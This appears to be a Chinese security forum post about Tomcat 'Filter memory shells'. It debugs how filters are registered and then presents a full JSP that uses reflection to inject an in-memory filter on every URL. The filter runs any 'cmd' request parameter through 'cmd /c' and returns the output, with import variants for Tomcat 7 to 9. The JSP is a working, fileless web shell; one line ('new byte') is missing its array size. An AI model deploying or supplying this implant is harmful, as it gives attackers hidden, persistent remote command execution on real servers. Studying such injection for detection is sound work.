Filter内存马
概述最近感冒了，不想BB太多，直接开始调试吧，先写个Filter来调试
Filter代码
新建一个FilterShell类，代码如下：
一个类如果想要成为Filter则需要继承Filter，然后重写init、doFilter、destory这三个方法，分别表示了
[*]init:：Filter在初始化时被调用
[*]doFilter：在Filter被命中时被调用
[*]destory：在Filter生命周期结束时调用的资源释放方法
其实我们只需要调试init和doFilter方法，以及Filter被实例化的时候的逻辑就行
package org.example.memoryshell;import javax.servlet.*;import java.io.IOException;// 如果不想在web.xml中配置，也可以使用这样的注解配置// @WebFilter(filterName = "FilterShell", urlPatterns = {"/*"})public class FilterShell implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("FilterShell init......"); Filter.super.init(filterConfig); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("FilterShell doFilter......"); } @Override public void destroy() { System.out.println("FilterShell destroy......"); Filter.super.destroy(); }}在web.xml中新增filter配置
<filter> <filter-name>FilterShell</filter-name> <filter-class>org.example.memoryshell.FilterShell</filter-class></filter><filter-mapping> <filter-name>FilterShell</filter-name> <url-pattern>/*</url-pattern></filter-mapping>在Filter类的class、init、doFilter这三个地方打上断点，然后我们开始运行Debug。
debug起来之后，先命中了class处的断点，这说明一定有一个地方在尝试创建这个Filter的实例或者说引用了这个Filter，我们追溯一下堆栈中的方法调用。
可以发现这个entry其实就是来自filterDefs，通过debug窗口可以看到filterDefs其实就是一个HashMap，Map的key其实就是我们在web.xml中配置的那个filterName，其实这里还能发现这里还加载了一个叫Tomcat WebSocket (JSR356) Filter的Filter，看起来是Tomcat给websocket加了一个默认的filter，ok，不管它，我们接着调
然后我们f9放开断点，他会命中init方法中的内容，分析init方法可以看到最终他是在ApplicationFilterConfig的initFilter方法中被命中的。
这里需要考虑一个问题，就是项目在初始化的时候会加载web.xml，然后把filterDefs中填充我们的Filter类，然后他会自己解析filterDef创建出来ApplicationFilterConfig，然后再放到filterConfigs中，所以这里就有问题了，就是我们如果构造木马，肯定是没办法改web.xml配置啊，所以我们就需要考虑构造filterDef将其放到filterDefs中，然后还有就是需要再根据filterDef生成一个ApplicationFilterConfig，然后写入到filterConfigs中。
OK，接着进行调试，我们f9放开断点，让其继续往下走，最终会命中doFilter方法。
然后我们跟踪堆栈信息，往上翻发现是ApplicationFilterChain这个地方调用了这里的doFilter方法，然后再往上看，可以找到StandardWrapperValve这个类中的invoke方法，我们点进去看一下。
然后我们看一下这个ApplicationFilterFactory.createFilterChain这个方法中干了什么事儿
从wrapper中去除了StandardContext上下文对象，然后把FilterMaps数据拿到，然后做了一个判断，如果符合这两个条件的话就从context中把filterConfig查出来，filterConfig其实就是Filter的实例，最后把filterConfig添加到filterChain这个调用链中。
[*]matchDispatcher
[*]filterMap：从context中取出的参数
[*]dispatcher：从request.getAttribute(org.apache.catalina.core.DISPATCHER_TYPE)取出的数据，其实就是个枚举值
所以，梳理一下debug过程中相关的数据结构：
[*]FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
[*]FilterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
[*]FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
[*]FilterChain：过滤器链，该对象上的 doFilter 方法能依次调用链上的 Filter
[*]ContextConfig：Web应用的上下文配置类
[*]StandardContext：Context接口的标准实现类，一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper
[*]StandardWrapperValve：一个 Wrapper 的标准实现类，一个 Wrapper 代表一个Servlet
然后放一个大佬画的filter工作的流程图
Filter内存马代码
<%--Created by IntelliJ IDEA.User: 15137Date: 2024/11/29Time: 14:33To change this template use File | Settings | File Templates.--%><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.Map" %><%@ page import="java.io.IOException" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><% final String name = "y4tacker"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte; Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); }%><html><head> <title>Title</title></head><body></body></html>这是网上大佬给的代码，我自己写的时候碰到一些问题，但是我发现他们写的也有一些问题，但是也有可能是我的用法不太对。
我经常遇到Tomcat启动时，没有加载我写的这个filter_shell_test.jsp，重新加载tomcat资源文件才加载到这个jsp脚本。
我这里只调了9.0.97版本的tomcat，没有调其他版本的，但是我看其他大佬的帖子中写了关于不同版本tomcat的写法。
这里把大佬的备注直接放这里了。
这种注入filter内存马的方法只支持 Tomcat 7.x 以上，因为 javax.servlet.DispatcherType 类是servlet 3 以后引入，而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());另外在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef
<!-- tomcat 7 --><%@ page import = "org.apache.catalina.deploy.FilterMap" %><%@ page import = "org.apache.catalina.deploy.FilterDef" %><!-- tomcat 8/9 --><%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"%>
页:
[1]